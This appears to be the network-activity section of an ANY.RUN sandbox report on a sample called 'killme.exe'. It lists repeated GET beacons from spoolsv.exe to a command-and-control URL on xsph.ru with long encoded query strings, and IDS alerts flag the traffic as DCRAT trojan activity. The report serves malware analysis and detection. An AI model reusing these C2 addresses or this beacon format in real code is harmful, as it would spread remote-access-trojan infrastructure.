iOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W
unknown
text
2.09 Kb
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=QX9JiI6ICZwETZ1MWY0UzMmZjY1EDNmFGZyYmM1ADNidzM0IzMxICLiQjMwcjN5UWO5Q2N1ImZlhzN0IjZhhjYjJTYwIGNjlTMlFTZhZmNkhjI6IiN3kjY1MjYmRGZwEmZjFmM2UGNmZDM3IGO4MTOiVGM5ICLiUjMzEzNzQDO1IjZxADM0ADO2ETY0ImYlN2M1czN0EWZ1MmN0IzYxImI6ISZlJTZ1UDMihDM0gjMlZmY0IDOmdjY2UmN1EDMwkTOxIyes0nIRZWOKl3Y0J0UPlXSp9UanR0TxkUbalXU61UaOdlW4NmaZpXSEp1aaRVWqJ1VNJTVHp1MVdkWtpkMZJTVH10MZdkTpJVbJdDcqlEaShVWFJFSlxmSDxUMvpWSwY1MixWMXFWVChlWshnMVl2dplEbahVYw40VRl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSpNGbkdVW1Z0VUdGMXlVekJjY5JEbJZTS5RmdS1mYwRmRWRkRrl0cJlGVp9maJRnRykVaWJjV6xWbJNXSTdVavpWSsVjMi9mQzIWeOdVYO5EWhl2dplEcNRUSuVzVhdnQYpFMOZUSwUERJNnVHpldxUUSyE0UlNHbXJGaaVUSwkFRl9WQpVWSkVUTzQTaNdWQFlkVCFTUnFERNBTWUxUMrdUSwBTRW9WVtNmdOVUSwlkRLNnVHRWdstWS2k0UaRnRtRlVCFTUpdXaJBXRww0ToNUS5Z1RkdnRHplQCl3Yqx2RhdnRtNGSCNVUIplRJtmSYl1a1cVWw4EbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSD50dJpGT0ElaMNTRqxEMnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQGMxUWNjFGN1MjZ2IWNxQjZhRmMmJTNwQjY3MDNyMTMiwiI4EDZ1EWN5AzYxkjM3gjYxIWMhhTMjVWMzYTM4gTZkhTYmdTNldzNmJiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W
unknown
text
104 b
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=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
unknown
text
104 b
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&4ece83265ab76456ee6b0b2fa2a12baf=0VfiIiOiQGMxUWNjFGN1MjZ2IWNxQjZhRmMmJTNwQjY3MDNyMTMiwiI1cTN0UmY5YzY3EGZxUWZzIWOzgDO1gDZ1EjY3UjN5EmY1UDNiFDOkJiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W
unknown
text
2.09 Kb
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=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
unknown
text
104 b
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=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
unknown
text
104 b
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=0VfiIiOiQGMxUWNjFGN1MjZ2IWNxQjZhRmMmJTNwQjY3MDNyMTMiwiI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMisHL9JCMYZWaBRkT2ElaNZTQE1UavpWStpleONTUE9EbGRlTzUleNJTTy0UNVRlWpJVbZhXUq5ENRJjT0UkMOtmRtlFaKdVWsp1RapXSDxUaVlWT5lUaPl2aE1EeZR1TppEVNtmRt50MjpWT4tGROhXUE5EbSpnT00keNpXQq5UbOJTT3FFRNNTSU1UbCpWSzl0UKlXSp9UaR1mT0k1RNlmWU1UaGdVW4V1VNVTVqllaWdlT5V1RPdXQU1kMVpnTqZ1RNhmUUlVNJ1WWtplaJNXSTpUeJl2TpFEVOBTRq5kMRpmT4tGRaBTTE1UaaJTTyk1RORTVE90aspXW4l1ROdXRXlVbaRlWxkFRPFTTql0cJl3Y0J0UPlXSp9UanR0TxkUbalXU61UaOdlW4NmaZpXSEp1aaRVWqJ1VNJTVHp1MVdkWtpkMZJTVH10MZdkTpJVbJdDcqlEaShVWFJFSlxmSDxUMvpWSwY1MixWMXFWVChlWshnMVl2dplEbahVYw40VRl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSpNGbkdVW1Z0VUdGMXlVekJjY5JEbJZTS5RmdS1mYwRmRWRkRrl0cJlGVp9maJRnRykVaWJjV6xWbJNXSTdVavpWSsVjMi9mQzIWeOdVYO5EWhl2dplEcNRUSuVzVhdnQYpFMOZUSwUERJNnVHpldxUUSyE0UlNHbXJGaaVUSwkFRl9WQpVWSkVUTzQTaNdWQFlkVCFTUnFERNBTWUxUMrdUSwBTRW9WVtNmdOVUSwlkRLNnVHRWdstWS2k0UaRnRtRlVCFTUpdXaJBXRww0ToNUS5Z1RkdnRHplQCl3Yqx2RhdnRtNGSCNVUIplRJtmSYl1a1cVWw4EbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSD50dJpGT0ElaMNTRqxEMnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQGMxUWNjFGN1MjZ2IWNxQjZhRmMmJTNwQjY3MDNyMTMiwiI4EDZ1EWN5AzYxkjM3gjYxIWMhhTMjVWMzYTM4gTZkhTYmdTNldzNmJiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
2440
spoolsv.exe
141.8.192.193:80
a0916433.xsph.ru
Sprinthost.ru LLC
RU
unknown

DNS requests

Domain
IP
Reputation
a0916433.xsph.ru
  • 141.8.192.193
unknown

Threats

PID
Process
Class
Message
1080
svchost.exe
Misc activity
ET INFO Observed DNS Query to xsph .ru Domain
2440
spoolsv.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
5 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
killme.exe